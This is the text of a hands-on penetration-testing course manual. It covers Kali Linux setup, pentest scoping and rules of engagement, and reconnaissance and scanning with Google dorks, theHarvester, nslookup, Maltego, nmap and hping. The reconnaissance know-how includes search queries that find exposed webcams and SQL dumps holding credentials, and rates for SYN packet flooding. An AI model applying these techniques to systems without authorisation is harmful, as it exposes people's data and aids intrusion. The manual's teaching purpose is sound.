CPTP Manual
CPTP Manual
Delegate Manual
v1.1
TRANCHULAS | www.tranchulas.com 2
Hands-On Ethical Hacking and Penetration Testing Training Course
Table of Contents
Schedule of Training .................................................................................................................................... 6
Module 0: Introduction................................................................................................................................. 8
General Information ................................................................................................................................ 9
Legal ......................................................................................................................................................... 9
Tranchulas Online Labs ............................................................................................................................ 9
Certification Exam ................................................................................................................................. 10
Support .................................................................................................................................................. 10
Module 1: VMWare and Kali Linux Installation ....................................................................................... 11
Mandatory Laptop Requirements ......................................................................................................... 12
Installing VMWare on Windows ........................................................................................................... 12
Setting Up Kali Linux in VMWare .......................................................................................................... 15
Starting Kali Linux in VMWare .............................................................................................................. 21
Installing VMWare Tools: ...................................................................................................................... 28
Setting up the VPN access: .................................................................................................................... 28
Module 2: Planning and Scoping ............................................................................................................... 32
What is Penetration Testing? ................................................................................................................ 33
Types of Penetration Testing: ............................................................................................................... 33
Variations of Penetration Test: ............................................................................................................. 34
Penetration Testing Methodology: ....................................................................................................... 34
Penetration Testing Scoping: ................................................................................................................ 36
Module 3: Introduction to Kali Linux ........................................................................................................ 46
Familiarize with Directory Structure ..................................................................................................... 47
Changing Password ................................................................................................................................ 47
Search Files ............................................................................................................................................ 48
Starting Network Services ..................................................................................................................... 48
SSH ......................................................................................................................................................... 49
VNC Server ............................................................................................................................................. 50
Apache ................................................................................................................................................... 51
TFTPD ..................................................................................................................................................... 51
Module 4: Information Gathering .............................................................................................................. 53
Google Hacking ...................................................................................................................................... 54
Google Hacking Database ...................................................................................................................... 57
TRANCHULAS | www.tranchulas.com 3
Hands-On Ethical Hacking and Penetration Testing Training Course
TRANCHULAS | www.tranchulas.com 4
Hands-On Ethical Hacking and Penetration Testing Training Course
TRANCHULAS | www.tranchulas.com 5
Hands-On Ethical Hacking and Penetration Testing Training Course
Schedule of Training
TRANCHULAS | www.tranchulas.com 6
Hands-On Ethical Hacking and Penetration Testing Training Course
Day 1
Start Time Finish Time Module Name
10:00 10:15 Module 1: VMware and Kali Linux Installation
10:15 11:30 Module 2: Planning and Scoping
11:30 13:00 Module 3: Introduction to Kali Linux
13:00 14:00 Lunch Break
14:00 17:00 Module 4: Information Gathering
Day 2
Start Time Finish Time Module Name
10:00 11:00 Module 5: Scanning
11:00 13:00 Module 6: Vulnerability Scanning
13:00 14:00 Lunch Break
14:00 15:30 Module 7: ARP Spoofing
15:30 17:00 Module 8: Exploitation
Day 3
Start Time Finish Time Module Name
10:00 12:00 Module 8: Exploitation (continued)
12:00 13:00 Module 9: More Exploitation
13:00 14:00 Lunch Break
14:00 17:00 Module 9: More Exploitation (continued)
Day 4
Start Time Finish Time Module Name
10:00 11:30 Module 10: Web Application Hacking (continued)
11:30 13:00 Module 11: Wireless Penetration Testing
13:00 14:00 Lunch Break
14:00 15:00 Module 11: Wireless Penetration Testing (continued)
15:00 17:00 Module 12: Other Attacks
TRANCHULAS | www.tranchulas.com 7
Hands-On Ethical Hacking and Penetration Testing Training Course
Module 0: Introduction
TRANCHULAS | www.tranchulas.com 8
Hands-On Ethical Hacking and Penetration Testing Training Course
General Information
The need to understand hacker and his methods are vital for better defending IT infrastructure
of your organization. This training course is designed for students who want to get acquainted
with the world of hacking. It offers a collection of live demonstrations featuring variety of hacking
and defensive techniques used by hackers.
Legal
The following document contains hacking techniques that should only be performed inside the
Tranchulas Lab Environment. Please note that without prior consent and permission of system’s
owner, launching attacks described in this manual are illegal. Tranchulas assumes no
responsibility for any actions performed outside its lab environment.
Students are required to discover and exploit vulnerabilities in order to pass online labs and
receive Tranchulas Certified Penetration Testing Professional (CPTP) Certification.
TRANCHULAS | www.tranchulas.com 9
Hands-On Ethical Hacking and Penetration Testing Training Course
Certification Exam
The certification exam comprises of multiple challenges to put your skills to the test. You will be
given multiple targets to exploit and create a penetration testing report. The exam duration is 24
hours. You should complete the tasks and submit the report within this time. The targets will be
similar to lab machines which will require various steps in order to be exploited successfully. A
sample report will be provided with the exam document once you have scheduled your exam
date. You can schedule your exam at any date and time. Make sure you tell us 1 week before the
exam date so that we can make the necessary arrangements.
Support
You can connect with Tranchulas Online labs for 90 days to practice your hacking kung-fu after
the training course. During this time our technical team will provide you email/phone/skype
support in order to ensure the skills acquired on the training course are being applied correctly.
TRANCHULAS | www.tranchulas.com 10
Hands-On Ethical Hacking and Penetration Testing Training Course
TRANCHULAS | www.tranchulas.com 11
Hands-On Ethical Hacking and Penetration Testing Training Course
TRANCHULAS | www.tranchulas.com 12
Hands-On Ethical Hacking and Penetration Testing Training Course
8. To install it in a directory other than the default, click Change and browse to your
directory of choice. If the directory does not exist, the installer creates it for you. Click
Next.
9. Caution: Do not install VMware Workstation on a network drive.
10. Select the shortcuts that you want the installer to create.
TRANCHULAS | www.tranchulas.com 13
Hands-On Ethical Hacking and Penetration Testing Training Course
11. Choices include Desktop, and Start menu. Deselect any shortcuts you do not want the
installer to create.
12. If the installer detects that the Windows CD-ROM autorun feature is enabled, you see a
message that gives you the option to disable this feature. Disabling autorun prevents
undesirable interactions with the virtual machines you install on this system.
13. The installer has gathered the necessary information and is ready to begin installing the
software.
TRANCHULAS | www.tranchulas.com 14
Hands-On Ethical Hacking and Penetration Testing Training Course
14. If you want to change any settings or information you provided, now is the time to
make those changes. Click back until you reach the dialog box containing the
information you want to change.
15. If you do not need to make any changes, click Install. The installer begins copying files
to your computer.
16. Some installations may require that you reboot your PC. Reboot now to allow VMware
Workstation to complete the installation correctly.
17. After the installation is over, it prompts for Evaluation key which you must have
received in your Email
18. One has an option to Skip it or enter it here. Skipping it will finish the installation but
later it will be necessary to input the key.
TRANCHULAS | www.tranchulas.com 15
Hands-On Ethical Hacking and Penetration Testing Training Course
When you start VMware Workstation, you can open an existing virtual machine or create a
new one. Choose File > New > Virtual Machine to begin creating your virtual machine.
4. Select Custom and click Next
TRANCHULAS | www.tranchulas.com 16
Hands-On Ethical Hacking and Penetration Testing Training Course
TRANCHULAS | www.tranchulas.com 17
Hands-On Ethical Hacking and Penetration Testing Training Course
6. In Select a Guest Operating System select Linux and in drop down select Debian 8.x 64-bit
as version if you have 64 bit ISO or select Debian 8.x if you are using 32 bit version. Click
Next.
TRANCHULAS | www.tranchulas.com 18
Hands-On Ethical Hacking and Penetration Testing Training Course
8. Select the hard disk size you want to give to this machine, 20 GB is enough for Kali. Set
other requirements as well. Which includes RAM 1 GB is enough but 2 GB is
recommended. Set Networking mode from NAT to Bridged Mode
TRANCHULAS | www.tranchulas.com 19
Hands-On Ethical Hacking and Penetration Testing Training Course
9. Select LSI Logic for the Controller Types and SCSI for Disk Type.
TRANCHULAS | www.tranchulas.com 20
Hands-On Ethical Hacking and Penetration Testing Training Course
TRANCHULAS | www.tranchulas.com 21
Hands-On Ethical Hacking and Penetration Testing Training Course
3. Select your preferred language and then your country location. You’ll also be prompted
to configure your keyboard with the appropriate keymap.
TRANCHULAS | www.tranchulas.com 22
Hands-On Ethical Hacking and Penetration Testing Training Course
4. The installer will copy the image to your hard disk, probe your network interfaces, and
then prompt you to enter a hostname for your system. In the example below, we’ve
entered “kali” as our hostname.
TRANCHULAS | www.tranchulas.com 23
Hands-On Ethical Hacking and Penetration Testing Training Course
7. The installer will now probe your disks and offer you four choices. In our example, we’re
using the entire disk on our computer and not configuring LVM (logical volume manager).
Experienced users can use the “Manual” partitioning method for more granular
configuration options.
TRANCHULAS | www.tranchulas.com 24
Hands-On Ethical Hacking and Penetration Testing Training Course
9. Next, you’ll have one last chance to review your disk configuration before the installer
makes irreversible changes. After you click Continue, the installer will go to work and
you’ll have an almost finished installation.
TRANCHULAS | www.tranchulas.com 25
Hands-On Ethical Hacking and Penetration Testing Training Course
10. Configure network mirrors. Kali uses a central repository to distribute applications. You’ll
need to enter any appropriate proxy information as needed. Select YES
TRANCHULAS | www.tranchulas.com 26
Hands-On Ethical Hacking and Penetration Testing Training Course
12. Finally, click Continue to reboot into your new Kali installation.
13. Go to Terminal
TRANCHULAS | www.tranchulas.com 27
Hands-On Ethical Hacking and Penetration Testing Training Course
Enter Y when prompted. It will take some time to install the software and necessary files
required.
To install VMWare tools open terminal and enter the following commands:
1. In order to access the training environment, you need to setup the VPN in Kali Linux. You
will get a zip file from Tranchulas Training Team which includes all the VPN files. Extract
the files.
TRANCHULAS | www.tranchulas.com 28
Hands-On Ethical Hacking and Penetration Testing Training Course
You will get a folder named untangle-vpn. Folder includes the necessary files required for setting
up VPN connection.
2. Now run the following command
TRANCHULAS | www.tranchulas.com 29
Hands-On Ethical Hacking and Penetration Testing Training Course
8. Select the .ovpn file from the directory where you have extracted the zip.
TRANCHULAS | www.tranchulas.com 30
Hands-On Ethical Hacking and Penetration Testing Training Course
TRANCHULAS | www.tranchulas.com 31
Hands-On Ethical Hacking and Penetration Testing Training Course
TRANCHULAS | www.tranchulas.com 32
Hands-On Ethical Hacking and Penetration Testing Training Course
TRANCHULAS | www.tranchulas.com 33
Hands-On Ethical Hacking and Penetration Testing Training Course
• Information Gathering
• Network Mapping
• Vulnerability Identification
• Penetration
• Gaining Access & Privilege Escalation
• Enumerating Further
• Compromise Remote Users/Sites
• Maintaining Access
• Covering Tracks
The execution steps are cyclical and iterative hence represented by the circular arrows in the
assessment phase in the figure below:
TRANCHULAS | www.tranchulas.com 35
Hands-On Ethical Hacking and Penetration Testing Training Course
Personal Information
Complete Name:
Company:
Position:
Email:
Type of Analysis
Please select the type of analysis required. Internal Penetration Tests are performed from the
LAN or DMZ standpoint of the company, while the External Penetration Tests are performed from
the Internet, with the same exposure that a potential intruder has:
TRANCHULAS | www.tranchulas.com 36
Hands-On Ethical Hacking and Penetration Testing Training Course
Domains
Please list the domains belonging to the company or organization:
1)
2)
3)
4)
Public IP Addresses:
Routers:
Firewalls:
VPN tunnels:
DNS servers:
Mail servers:
FTP servers:
SSH servers:
Database servers:
HTTP servers:
Other services or equipment that you would like to include in the assessment (please be specific):
TRANCHULAS | www.tranchulas.com 37
Hands-On Ethical Hacking and Penetration Testing Training Course
Access URL:
Main Web Application feature:
Approximated number of URLs:
Describe the application sections:
Approximated number of URLs accessible only after authentication:
Approximated number of Web forms:
List the different types of users (roles) that access to the application:
List the programming languages used to develop the Web application:
List the used Web development frameworks (eg Smarty, HDIV, Spring, Spring Security, Django):
ActiveX components are used in Web application:
The application uses Flash heavily (check yes, if you use Flash for more than menus and banners):
The application uses Java applets:
The application uses AJAX:
The application handles sensitive customer information from the company:
The application is used to make purchases online or other tasks where money is involved directly:
Backend database used:
The Web application has interfaces with other systems (Tandem, Webservices, mail servers, etc.)
Number of users using the application:
Describe in detail the application:
Example Form
The following is a form pre-completed by Tranchulas so that you have an example in case of not
knowing how to complete any of the previous sections.
Web Application:
Access URL: http://www.tranchulas.com
Main Web Application feature: It provides clients with access to information on services that
are conducted by Tranchulas.
Approximated number of URLs: 15
TRANCHULAS | www.tranchulas.com 38
Hands-On Ethical Hacking and Penetration Testing Training Course
Describe the application sections: It has different sections which give information on the
services of the company and the products offered. The list of trainings and the events
conducted by Tranchulas is also given.
Approximated number of URLs accessible only after authentication: 20
Approximated number of Web forms: 3
List the different types of users (roles) that access to the application: Tranchulas Employees and
Tranchulas Clients
List the programming languages used to develop the Web application: HTML, PHP
List the used Web development frameworks (eg Smarty, HDIV, Spring, Spring Security, Django):
None
ActiveX components are used in Web application: No
The application uses Flash heavily (check yes, if you use Flash for more than menus and banners):
No
The application uses Java applets: No
The application uses AJAX: No
The application handles sensitive customer information from the company: No
The application is used to make purchases online or other tasks where money is involved directly:
Yes
Backend database used: SQL
The Web application has interfaces with other systems (Tandem, Web services, mail servers,
etc.): SMTP daemon used to send emails to clients.
Number of users using the application: 100
Describe in detail the application: It has 5-6 different sections which deal with giving out
information on the activities/services and products offered by Tranchulas. The clients also have
the option of contacting the company as well as pay online through the website.
Scoping Questions
When you first start communicating with the customer there will be a set of questions that you
will need answered before you can accurately scope the penetration test engagement. These
questions are critical to ask and should give you a better understanding of what the client is
looking to gain out of the penetration test, why the client is looking to have a penetration test
TRANCHULAS | www.tranchulas.com 39
Hands-On Ethical Hacking and Penetration Testing Training Course
performed against their environment, and whether or not they want certain types of tests
performed during the penetration test.
The following are some sample questions that may need to be answered before you can even
accurately quote how much the engagement is going to cost the customer:
TRANCHULAS | www.tranchulas.com 40
Hands-On Ethical Hacking and Penetration Testing Training Course
Social Engineering
1. Will the client provide e-mail addresses of personnel that we can attempt to social
engineer?
2. Will the client provide phone numbers of personnel that we can attempt to social
engineer?
3. Will we be attempting to social engineer physical access, if so:?
4. How many people will be targeted?
It should be noted that as part of different levels of testing the questions for business unit
manager’s systems administrators and help desk personnel may not be required. However, feel
free to use the following questions as a guide.
TRANCHULAS | www.tranchulas.com 41
Hands-On Ethical Hacking and Penetration Testing Training Course
Exercise
Find gaps in sample scope sheet.
TRANCHULAS | www.tranchulas.com 42
Hands-On Ethical Hacking and Penetration Testing Training Course
u) Recommend countermeasures.
v) Assessment Tools: Most of the testing will be
6. Assessment Tools: Most of the testing will be performed on Linux distribution called Kali
Linux. Some customized windows based tools might also be used by Company X team.
Company X team will also prepare its own customized tools/scripts.
7. Wireless Testing Tools: Alfa wireless adapter (AWU036H) will be used to conduct wireless
attacks.
8. Rules to be Followed: The following are agreed upon rules that will be followed as part
of this penetration test:
a) Designated customer representatives will observe and/or be readily available to
discuss while in progress all Company X penetration/exploitation activities.
b) Penetrations into customer systems will only be pursued insofar as they could
lead/access to significant systems or are significant to the entity-wide security
program of the overall network environment.
c) All passwords compromised during testing will be reported to the designated contact
for resetting.
d) All Company X reports and work papers will be clearly labeled “Limited Distribution”.
e) A full network scan will be performed. A targeted network scan will be completed and
limited to the subnets and targeted hosts, so as to control and further minimize load
on the network infrastructure.
f) Company X team will refrain from any denial-of-service attempts.
g) In its penetration efforts, Company X will at no point alter or delete any directories or
files.
h) Trojans and backdoors will be removed and unloaded at the conclusion of test.
i) Utmost care will be exercised not to disable user IDs for any extended period of time.
For any user ID found to be inadvertently disabled, we will notify the customer test
monitor and/or appropriate engagement coordinator to enable the prompt
restoration of access.
j) Any procedures that have potential negative impact on network traffic or interruption
will be avoided. Where necessary to demonstrate to Customer the full nature and
extent of vulnerability, such procedure will both be performed during off-peak hours
and will be demonstrated to Customer’s management.
9. Notification Procedures: An appointed Customer’s designee will review Company X
activities to validate that testing is performed in accordance with this Rules of
Engagement.
10. Reporting: The results of this review will be presented only to designated officials of
Customer.
11. Agreement to Test Objectives: The following parties have acknowledged and agree to
the test objectives, scope, rules to be followed and the notification procedures. Signature
below constitutes authorization to Company X to commence with the penetration test
described above.
TRANCHULAS | www.tranchulas.com 44
Hands-On Ethical Hacking and Penetration Testing Training Course
TRANCHULAS | www.tranchulas.com 45
Hands-On Ethical Hacking and Penetration Testing Training Course
TRANCHULAS | www.tranchulas.com 46
Hands-On Ethical Hacking and Penetration Testing Training Course
root@kali:~# ls
Desktop Documents Downloads Music Pictures Public
Templates Videos
root@kali:~#
root@kali:~# ls -l
total 32
drwxr-xr-x 2 root root 4096 Oct 31 08:54 Desktop
drwxr-xr-x 2 root root 4096 Oct 31 08:54 Documents
drwxr-xr-x 2 root root 4096 Oct 31 08:54 Downloads
drwxr-xr-x 2 root root 4096 Oct 31 08:54 Music
drwxr-xr-x 2 root root 4096 Oct 31 08:54 Pictures
drwxr-xr-x 2 root root 4096 Oct 31 08:54 Public
drwxr-xr-x 2 root root 4096 Oct 31 08:54 Templates
drwxr-xr-x 2 root root 4096 Oct 31 08:54 Videos
root@kali:~# cd Desktop/
root@kali:~/Desktop# cd /bin/
root@kali:/bin#
Changing Password
root@kali:~# passwd
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root@kali:~#
TRANCHULAS | www.tranchulas.com 47
Hands-On Ethical Hacking and Penetration Testing Training Course
Search Files
Run updatedb command to build local database of all files on filesystem before running locate
utility.
root@kali ~ # updatedb
root@kali ~ # locate password.txt
/usr/share/cisco-torch/password.txt
TRANCHULAS | www.tranchulas.com 48
Hands-On Ethical Hacking and Penetration Testing Training Course
SSH
Secure Shell or SSH is a network protocol that allows data to be exchanged using a secure channel
between two networked devices. The SSH server can be used for SSH Tunneling, remote access
etc.
If you are running Kali Linux for the first time after installation you need to generate SSH keys
before starting this service. Follow the steps below to generate the keys:
First create a directory by name of default_kali_keys using mkdir command. Then we will move
ssh_host_* file to the newly created directory.
root@root:~# cd /etc/ssh
root@root:/etc/ssh# mkdir default_kali_keys
root@root:/etc/ssh# mv ssh_host_* default_kali_keys/
Create an md5 hash of the ssh_host_*. These include all the key files
TRANCHULAS | www.tranchulas.com 49
Hands-On Ethical Hacking and Penetration Testing Training Course
Move to the defalut_kali_keys directory and create and md5 hash of all the files
root@root:/etc/ssh# cd default_kali_keys/
root@root:/etc/ssh/default_kali_keys# md5sum *
7d7bbb97743c0bba379a3362ad9b20b1 ssh_host_dsa_key
6adef7ad7490147afc667bdcc1f907dc ssh_host_dsa_key.pub
f39c4836cddd24e16a9d64d4370117fa ssh_host_ecdsa_key
c5f0bf794433b8de356168f3bafe482d ssh_host_ecdsa_key.pub
0e29301d2d391806f2e67efa14dc5baf ssh_host_rsa_key
491f88b015519fa2e3ea6d2b99b4d1f5 ssh_host_rsa_key.pub
VNC Server
In computing, Virtual Network Computing (VNC) is a graphical desktop sharing system that uses
the RFB (Remote Frame Buffer) protocol to remotely control another computer. It transmits the
keyboard and mouse events from one computer to another, relaying the graphical screen
updates back in the other direction, over a network.
root@kali:~# vncserver
You will require a password to access your desktops.
Password: ********
Verify: ********
TRANCHULAS | www.tranchulas.com 50
Hands-On Ethical Hacking and Penetration Testing Training Course
Apache
Apache is the world's most widely used web server software. It comes pre-installed in Kali. To
start apache service
TFTPD
Trivial File Transfer Protocol (TFTP) is a simple, file transfer protocol which allows a client to get
from or put a file onto a remote host. It allows us to transfer files between two computers.
To start TFTPD
TRANCHULAS | www.tranchulas.com 51
Hands-On Ethical Hacking and Penetration Testing Training Course
To stop TFTPD
TRANCHULAS | www.tranchulas.com 52
Hands-On Ethical Hacking and Penetration Testing Training Course
TRANCHULAS | www.tranchulas.com 53
Hands-On Ethical Hacking and Penetration Testing Training Course
Google Hacking
Google hacking is the term used when a hacker tries to find exploitable targets and sensitive data
by using search engines. It is used to find security holes in configuration and the code that the
websites and web applications are using. Google hacking involves using advanced operators in
the Google search engine to locate specific strings of text within search results.
Special search operators are used in Google to narrow down results. Here are some advanced
operators
If we want of find results of only microsoft.com type site:microsoft.com. This will restrict the
result to microsoft.com.
TRANCHULAS | www.tranchulas.com 54
Hands-On Ethical Hacking and Penetration Testing Training Course
To find all PDF files present on microsoft.com, we will use the following Google query:
filetype:pdf site:microsoft.com
TRANCHULAS | www.tranchulas.com 55
Hands-On Ethical Hacking and Penetration Testing Training Course
Devices connected to the internet can also be found. Type inurl:"ViewerFrame?Mode=" and we
will find public web cameras.
TRANCHULAS | www.tranchulas.com 56
Hands-On Ethical Hacking and Penetration Testing Training Course
For example MySQL backups are placed on server and have .sql extension. These backups have
critical information e.g. usernames, passwords, credit cards etc. Try following search query in
Google: mysql dump filetype:sql
TRANCHULAS | www.tranchulas.com 57
Hands-On Ethical Hacking and Penetration Testing Training Course
Email Harvesting
Email harvesting is the process of obtaining lists of email addresses using various methods. A tool
in Kali named theHarvester is used for gathering e-mail accounts, user names and
hostnames/subdomains from different public sources. Open terminal and type the following
command:
*******************************************************************
* *
* | |_| |__ ___ /\ /\__ _ _ ____ _____ ___| |_ ___ _ __ *
* | __| '_ \ / _ \ / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | | __/ / __ / (_| | | \ V / __/\__ \ || __/ | *
* \__|_| |_|\___| \/ /_/ \__,_|_| \_/ \___||___/\__\___|_| *
* *
* TheHarvester Ver. 2.5 *
* Coded by Christian Martorella *
* Edge-Security Research *
* [email protected] *
It gets email addresses from public sources. In the above command it has fetched 50 email
addresses which included hotmail.com from Google.
TRANCHULAS | www.tranchulas.com 58
Hands-On Ethical Hacking and Penetration Testing Training Course
Netcraft
Netcraft provides web server and web hosting market-share analysis, including web server and
operating system detection. In some cases, depending on the queried server's operating system,
their service is able to monitor uptimes; uptime performance monitoring is a commonly used
factor in determining the reliability of a web hosting provider.
Go to www.netcraft.com
Type your website URL. For example tranchulas.com and you will get a report about the site
TRANCHULAS | www.tranchulas.com 59
Hands-On Ethical Hacking and Penetration Testing Training Course
Nslookup
nslookup is a network administration command-line tool available for many computer operating
systems for querying the Domain Name System (DNS) to obtain domain name or IP address
mapping or for any other specific DNS record.
root@root:~# nslookup
> www.tranchulas.com
Server: 192.168.1.1
Address: 192.168.1.1#53
Non-authoritative answer:
www.tranchulas.com canonical name = tranchulas.com.
Name: tranchulas.com
Address: 192.254.191.25
root@root:~# nslookup
> set type=mx
> tranchulas.com
Server: 192.168.1.1
Address: 192.168.1.1#53
Non-authoritative answer:
tranchulas.com mail exchanger = 10 aspmx3.googlemail.com.
tranchulas.com mail exchanger = 1 aspmx.l.google.com.
tranchulas.com mail exchanger = 5 alt1.aspmx.l.google.com.
tranchulas.com mail exchanger = 5 alt2.aspmx.l.google.com.
tranchulas.com mail exchanger = 10 aspmx2.googlemail.com.
root@root:~# nslookup
> set type=ns
> tranchulas.com
Server: 192.168.1.1
Address: 192.168.1.1#53
Non-authoritative answer:
tranchulas.com nameserver = ns6287.hostgator.com.
TRANCHULAS | www.tranchulas.com 60
Hands-On Ethical Hacking and Penetration Testing Training Course
DNSEnum
DNSenum is a pentesting tool that enumerates as much DNS information about domains as
possible.
Host's addresses:
__________________
Name Servers:
______________
DNSmap
Dnsmap is mainly meant to be used by pentesters during the information gathering/enumeration
phase of infrastructure security assessments. During the enumeration stage, the security
consultant would typically discover the target company's IP netblocks, domain names, phone
numbers, etc. The tool enables to discover all subdomains associated to a given domain.
TRANCHULAS | www.tranchulas.com 61
Hands-On Ethical Hacking and Penetration Testing Training Course
Maltego
Maltego, is an open source application that allows for the mining and gathering of information
as well as the representation of this information in a meaningful way.
Maltego is a program that can be used to determine the relationships and real world links
between:
• People
• Groups of people (social networks)
• Companies
• Organizations
• Web sites
• Internet infrastructure such as:
o Domains
o DNS names
o Netblocks
o IP addresses
• Phrases
• Affiliations
• Documents and files
These entities are linked using open source intelligence. Maltego provides you with a graphical
interface that makes seeing these relationships instant and accurate - making it possible to see
hidden connections.
Maltego can be used for the information gathering phase of all security related work. It will save
you time and will allow you to work more accurately and smarter. Maltego aids you in your
thinking process by visually demonstrating interconnected links between searched items.
Maltego provide you with a much more powerful search, giving you smarter results. If access to
"hidden" information determines your success, Maltego can help you discover it.
To Open Maltego type “Maltego” in terminal.
root@root:~# maltego
TRANCHULAS | www.tranchulas.com 62
Hands-On Ethical Hacking and Penetration Testing Training Course
Select “Maltego Public Servers” and click Next. Now you are good to go
TRANCHULAS | www.tranchulas.com 63
Hands-On Ethical Hacking and Penetration Testing Training Course
TRANCHULAS | www.tranchulas.com 64
Hands-On Ethical Hacking and Penetration Testing Training Course
We can use a domain as an example here. Drag and drop domain from searchable options to
main graph area.
TRANCHULAS | www.tranchulas.com 65
Hands-On Ethical Hacking and Penetration Testing Training Course
On the right side in the property view, edit default value paterva.com to your desired domain.
Right click on domain in graph and click on required search transform or just click on all
transforms. For more details on transforms please visit:
http://ctas.paterva.com/view/Category:Transforms
TRANCHULAS | www.tranchulas.com 66
Hands-On Ethical Hacking and Penetration Testing Training Course
Analyze the results. As you can see we have found a lot of information including but not limited
to email addresses, phone numbers, social networking profiles etc.
Exercise
Use Open Web Information Gathering techniques to find interesting information about your
organization.
1. Domains
2. IP ranges
3. Phone numbers / Addresses
4. Emails
5. Interesting stuff like PDFs / PPT
TRANCHULAS | www.tranchulas.com 67
Hands-On Ethical Hacking and Penetration Testing Training Course
Module 5: Scanning
TRANCHULAS | www.tranchulas.com 68
Hands-On Ethical Hacking and Penetration Testing Training Course
SYN Scanning
SYN scan is another form of TCP scanning. Rather than using the operating system's network
functions, the port scanner generates raw IP packets itself, and monitors for responses. This scan
type is also known as "half-open scanning", because it never actually opens a full TCP connection.
The port scanner generates a SYN packet. If the target port is open, it will respond with a SYN-
ACK packet. The scanner host responds with a RST packet, closing the connection before the
handshake is completed.
UDP Scanning
UDP is a connectionless protocol so there is no equivalent to a TCP SYN packet. However, if a UDP
packet is sent to a port that is not open, the system will respond with an ICMP port unreachable
message. Most UDP port scanners use this scanning method, and use the absence of a response
to infer that a port is open. However, if a port is blocked by a firewall, this method will falsely
report that the port is open. If the port unreachable message is blocked, all ports will appear
open. This method is also affected by ICMP rate limiting.
Legal Implications
• In June 2003, an Israeli, Avi Mizrahi, was accused by the Israeli Police of the offense of
attempting the unauthorized access of computer material. He had port scanned the
Mossad website. He was acquitted of all charges on February 29, 2004. The judge ruled
that these kinds of actions should not be discouraged when they are performed in a
positive way.
TRANCHULAS | www.tranchulas.com 69
Hands-On Ethical Hacking and Penetration Testing Training Course
• A 17-year old Finn was accused of attempted computer break-in by a major Finnish bank.
On April 9, 2003, he was convicted of the charge by the Supreme Court and ordered to
pay US$ 12,000 for the expense of the forensic analysis made by the bank. In 1998, he
had port scanned the bank network in an attempt to access the closed network, but failed
to do so.
• In December 1999, Scott Moulton was arrested by the FBI and accused of attempted
computer trespassing under Georgia's Computer Systems Protection Act and Computer
Fraud and Abuse Act of America. At this time, his IT service company had an ongoing
contract with Cherokee County of Georgia to maintain and upgrade the 911 center
security. He performed several port scans on Cherokee County servers to check their
security and eventually port scanned a web server monitored by another IT company,
provoking a tiff which ended up in a tribunal. He was acquitted in 2000, the judge ruling
there was no damage impairing the integrity and availability of the network.
Nmap
• Nmap (“Network Mapper”) is an open source tool for network exploration and security
auditing. [3]
• It was designed to rapidly scan large networks, although it works fine against single hosts.
• Nmap uses raw IP packets in novel ways to determine:
o what hosts are available on the network
o what services (application name and version) those hosts are offering
o what operating systems (and OS versions) they are running
o what type of packet filters/firewalls are in use and dozens of other characteristics.
While Nmap is commonly used for security audits, many systems and network administrators
find it useful for routine tasks such as network inventory, managing service upgrade schedules,
and monitoring host or service uptime.
Let’s run a basic nmap scan on 192.168.2.5
TRANCHULAS | www.tranchulas.com 70
Hands-On Ethical Hacking and Penetration Testing Training Course
An application is actively accepting TCP connections, UDP datagrams or SCTP associations on this
port. Finding these is often the primary goal of port scanning. Security-minded people know that
each open port is an avenue for attack. Attackers and pen-testers want to exploit the open ports,
while administrators try to close or protect them with firewalls without thwarting legitimate
users. Open ports are also interesting for non-security scans because they show services available
for use on the network.
Closed
A closed port is accessible (it receives and responds to Nmap probe packets), but there is no
application listening on it. They can be helpful in showing that a host is up on an IP address (host
discovery, or ping scanning), and as part of OS detection. Because closed ports are reachable, it
may be worth scanning later in case some open up. Administrators may want to consider blocking
such ports with a firewall. Then they would appear in the filtered state, discussed next.
Filtered
Nmap cannot determine whether the port is open because packet filtering prevents its probes
from reaching the port. The filtering could be from a dedicated firewall device, router rules, or
host-based firewall software. These ports frustrate attackers because they provide so little
information. Sometimes they respond with ICMP error messages such as type 3 code 13
(destination unreachable: communication administratively prohibited), but filters that simply
drop probes without responding are far more common. This forces Nmap to retry several times
just in case the probe was dropped due to network congestion rather than filtering. This slows
down the scan dramatically.
Unfiltered
The unfiltered state means that a port is accessible, but Nmap is unable to determine whether it
is open or closed. Only the ACK scan, which is used to map firewall rulesets, classifies ports into
this state. Scanning unfiltered ports with other scan types such as Window scan, SYN scan, or FIN
scan, may help resolve whether the port is open.
Open/ filtered
TRANCHULAS | www.tranchulas.com 71
Hands-On Ethical Hacking and Penetration Testing Training Course
Nmap places ports in this state when it is unable to determine whether a port is open or filtered.
This occurs for scan types in which open ports give no response. The lack of response could also
mean that a packet filter dropped the probe or any response it elicited. So Nmap does not know
for sure whether the port is open or being filtered. The UDP, IP protocol, FIN, NULL, and Xmas
scans classify ports this way.
Closed/ filtered
This state is used when Nmap is unable to determine whether a port is closed or filtered. It is only
used for the IP ID idle scan.
OS Fingerprinting
Nmap's can detect OS using TCP/IP stack fingerprinting. Nmap sends a series of TCP and UDP
packets to the remote host and examines practically every bit in the responses.
TRANCHULAS | www.tranchulas.com 72
Hands-On Ethical Hacking and Penetration Testing Training Course
TRANCHULAS | www.tranchulas.com 73
Hands-On Ethical Hacking and Penetration Testing Training Course
Service Enumeration
Zenmap
Zenmap is the GUI version of nmap. To access zenmap type zenmap in terminal
TRANCHULAS | www.tranchulas.com 74
Hands-On Ethical Hacking and Penetration Testing Training Course
TRANCHULAS | www.tranchulas.com 75
Hands-On Ethical Hacking and Penetration Testing Training Course
Hping
Often considered a complementary tool to Nmap, hping is used for network scanning, as well as
crafting TCP/IP packets. Please note that given the packet crafting involved, if you are running as
root yet you receive an error saying that the operation is not permitted it could be due to a host
firewall.
Send TCP SYN packets to port 0 on host example.com (note that hping will increment the source
port by 1 for each packet sent):
hping3 example.com -S -V
Send TCP SYN packets to port 443 on host example.com:
Send TCP packets to port 443 on host example.com with the SYN + ACK flags set:
TRANCHULAS | www.tranchulas.com 76
Hands-On Ethical Hacking and Penetration Testing Training Course
Send TCP packets to port 443 on host example.com with the SYN + ACK + FIN flags set:
Send TCP SYN packets every 5 seconds to port 443 on host example.com:
Send TCP SYN packets every 100,000 microseconds (i.e. every 0.1 second or 10 per second) to
port 443 on host example.com. Note that verbose has been removed:
Send TCP SYN packets every 10,000 microseconds (i.e. every 0.01 second or 100 per second) to
port 443 on host example.com:
Send TCP SYN packets every 10,000 microseconds (i.e. every 0.01 second or 100 per second) to
port 443 on host example.com. Stop after 500 packets:
Send UDP packets to port 111 on host example.com (argument --udp can be substituted with -
2):
Send ICMP echo request packets to host example.com (argument --icmp can be substituted with
-1):
